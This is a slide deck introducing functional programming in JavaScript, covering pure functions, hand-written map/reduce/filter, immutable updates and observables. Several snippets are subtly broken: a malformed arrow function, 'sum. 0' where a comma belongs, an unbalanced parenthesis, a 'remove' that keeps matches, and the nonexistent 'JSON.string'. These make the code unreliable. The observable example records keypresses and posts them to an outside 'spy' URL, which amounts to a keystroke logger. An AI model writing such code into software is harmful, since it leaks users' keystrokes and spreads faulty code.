Functional Programming in Javascript

A quicker than normal intro ???

wayne.maurer@lambda-it.ch

What is Functional Programming?

Functional programming is a programming paradigm that treats computation as the evaluation of mathematical functions and avoids changing-state and mutable data.

Part 1: Pure Functions

Side-Effects

Side-Effects are the complexity iceberg


Goal: aim for functions without side effects and side inputs


	const square = x => x * x;

Part 2: Higher-order Functions

A simple example

	let square x = x * x
	 
	let sumOfSquares n =
		[1..n] |> List.map square |> List.sum
	 
	sumOfSquares 100

A simple example in JS

	const sum = (x, y) => x + y;
	const square = n => n * n;
	 
	const sumOfSquares = array =>
		array
			.map(square)
			.reduce(sum);
	 
	sumOfSquares([1, 2, 3]);
	// 14

Back to basics - for loop

	function logArray(array) {
		for (let i = 0; i < array.length; i++)
			console.log(array[i]);
	}

Abstracting away iteration

	function forEach(array, action) {
		for (let i = 0; i < array.length; i++)
			action(array[i]);
	}
	 
	forEach([1, 2, 3], console.log);

Using a higher-order function

	function sum(array) {
		let sum = 0;
		forEach(array, n = sum + n);
		return sum;
	}
	 
	sum([1, 2, 3]);
	// 6

Writing a map function

	function map(array, cbFn) {
		const newArray = [];
		forEach(array, n => newArray.push(cbFn(n)));
		return newArray;
	}
	 
	map([1, 2, 3], n => n * n);
	// [1, 4, 9]

Writing a reduce function

	function reduce(array, cbFn, initialValue) {
		let agg = initialValue;
		forEach(array, n => agg = cbFn(agg, n));
		return agg;
	}
	 
	reduce([1, 2, 3], (agg, n) => agg + n, 0);
	// 6

Writing a filter function

	function filter(array, condition) {
		let newArray = [];
		forEach(array, n => {
			if (condition(n)) newArray.push(n));
		});
		return newArray;
	}
	 
	filter([1, 2, 3, 4, 5], n => n > 2);
	// [3, 4, 5]

Writing sumOfSquares

	const sum = (x, y) => x + y;
	const square = n => n * n;
	 
	const sumOfSquares = a => reduce(map(a, square), sum. 0);
	 
	sumOfSquares([1, 2, 3]);
	// 14

Part 3: Avoiding mutating data

Why?

!!! "Easier to reason about" !!!

Traceable

Debuggable

Efficient change detection

Immutable Objects

	const me = {
		firstName: 'Wayne',
		surname: 'Maurer',
		age: 41
	};
	const meNextMonth = Object.assign({}, me, { age: 42 });

Immutable Arrays - insert

	const insert = (a, n) => [...a, n];
	 
	insert(['a', 'b', 'c'], 'd');
	// ['a', 'b', 'c', 'd']

Immutable Arrays - remove

	const remove = (a, condition) =>
		a.filter(e => condition(e));
	 
	remove([1, 2, 3, 4, 5], n => n > 3);
	// [1, 2, 3]

Immutable Arrays - update

	const update = (a, condition, o) =>
		a.map(e => condition(e) ? o : e);
	 
	update([1, 2, 3, 4, 5], n => n > 4, -1);
	// [1, 2, 3, 4, -1]

Part 4: Functional Reactive Programming

Observables

An observable sends notifications to its observers


Is the duality to Enumerable


This duality allows us to write higher-order functions for events

Observable operators

	const keyCount = Observable.fromEvent('keypress')
		.filter(event => ['a', 'b', 'c']
			.some(char => char == event.keyAsAscii))
		.flatMap(event => fetch('https://666.ch/spy', {
			method: 'post',
			body: JSON.string(event.keyAsAscii)
		}), {
			keyAsAscii: event.keyAsAscii,
			count: res.json().count
		});
	keyCount.subscribe(x => console.log(x))

This is only
the End of the Beginning ...

Cheers! ;-)

wayne.maurer@lambda-it.ch
@waynemaurer



lambda-it.ch/functional-programming-intro